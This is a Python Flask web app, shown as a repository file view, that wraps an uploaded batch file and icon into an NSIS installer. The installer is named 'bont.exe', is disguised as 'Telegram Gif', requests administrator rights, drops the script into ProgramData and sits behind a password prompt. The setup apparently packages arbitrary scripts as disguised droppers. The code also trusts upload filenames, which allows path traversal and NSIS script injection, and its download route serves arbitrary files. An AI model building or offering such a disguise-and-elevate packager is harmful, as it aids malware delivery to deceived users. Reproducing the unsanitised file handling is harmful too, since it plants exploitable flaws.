File size: 3,399 Bytes
adbe5cd
45a1acf
 
66f8fc1
45a1acf
 
b1f0958
66f8fc1
adbe5cd
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
45a1acf
 
adbe5cd
66f8fc1
45a1acf
52ab4b4
 
b1f0958
 
52ab4b4
 
b1f0958
52ab4b4
b1f0958
 
0bc4997
b1f0958
 
 
52ab4b4
 
 
 
3374df9
2660f1c
37072f0
c7ce71d
3374df9
37072f0
3374df9
 
 
 
 
c7ce71d
 
3374df9
37072f0
 
 
 
 
 
 
 
 
 
 
 
 
 
3374df9
 
37072f0
5b8e3ba
 
3374df9
 
5b8e3ba
3374df9
 
 
37072f0
 
c7ce71d
 
37072f0
 
c7ce71d
 
b1f0958
 
52ab4b4
b1f0958
 
 
 
 
3374df9
b1f0958
 
329f9c0
45a1acf
 
b1f0958
45a1acf
 
b1f0958
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
from flask import Flask, request, send_file, render_template_string
import os
import subprocess

app = Flask(__name__)
UPLOAD_FOLDER = 'uploads'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER

# HTML template for the index page
HTML_TEMPLATE = """
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>NSIS Installer Creator</title>
</head>
<body>
    <h1>Upload Files to Create NSIS Installer</h1>
    <form action="/upload" method="post" enctype="multipart/form-data">
        <label for="bat_file">Upload BAT file:</label>
        <input type="file" name="bat_file" required><br><br>
        <label for="icon_file">Upload ICO file:</label>
        <input type="file" name="icon_file" required><br><br>
        <input type="submit" value="Upload and Compile">
    </form>
</body>
</html>
"""

@app.route('/')
def index():
    return render_template_string(HTML_TEMPLATE)

@app.route('/upload', methods=['POST'])
def upload_files():
    if 'bat_file' not in request.files or 'icon_file' not in request.files:
        return "No file part", 400

    bat_file = request.files['bat_file']
    icon_file = request.files['icon_file']

    if bat_file.filename == '' or icon_file.filename == '':
        return "No selected file", 400

    # Define the paths to save the uploaded files
    bat_path = os.path.join(app.config['UPLOAD_FOLDER'], bat_file.filename)
    icon_path = os.path.join(app.config['UPLOAD_FOLDER'], icon_file.filename)

    # Save the uploaded files
    bat_file.save(bat_path)
    icon_file.save(icon_path)

    # Construct the NSIS script using the provided paths
    nsi_script = f"""!include "MUI2.nsh"
!include "nsDialogs.nsh"

Outfile "bont.exe"
InstallDir "$PROGRAMDATA"

Name "Telegram Gif"
Caption "bont 1.4.44.3"
VIProductVersion "1.4.44.3"

RequestExecutionLevel admin

Var PASSWORD
Var DialogHandle
Var PasswordInput

Function ShowPasswordPage
  nsDialogs::Create 1018
  Pop $DialogHandle
  
  nsDialogs::CreateLabel 10u 10u 100% 12u "Please enter the installation password:"
  Pop $0
  nsDialogs::CreatePassword 10u 25u 100% 12u ""
  Pop $PasswordInput
  
  nsDialogs::Show
FunctionEnd

Function CheckPassword
  nsDialogs::GetText $PasswordInput $PASSWORD
  StrCmp $PASSWORD "yourpassword" 0 +3
    MessageBox MB_OK "Password accepted"
    Return

  MessageBox MB_OK "Incorrect password. Installation will now exit."
  Abort
FunctionEnd

Page custom ShowPasswordPage CheckPassword
Page instfiles

Section "Install"
  SetOutPath "$INSTDIR"
  File "{bat_path}"
SectionEnd
"""

    nsi_path = os.path.join(app.config['UPLOAD_FOLDER'], 'installer.nsi')
    with open(nsi_path, 'w') as nsi_file:
        nsi_file.write(nsi_script)

    # Compile the NSIS script
    try:
        result = subprocess.run(['makensis', nsi_path], check=True, capture_output=True, text=True)
        return f"Compilation successful! Download here: <a href='/download/bont.exe'>bont.exe</a>", 200
    except subprocess.CalledProcessError as e:
        return f"Compilation failed: {e.stderr}", 400

@app.route('/download/<filename>')
def download_file(filename):
    return send_file(os.path.join(app.config['UPLOAD_FOLDER'], filename), as_attachment=True)

if __name__ == '__main__':
    if not os.path.exists(UPLOAD_FOLDER):
        os.makedirs(UPLOAD_FOLDER)
    app.run(host='0.0.0.0', port=7860)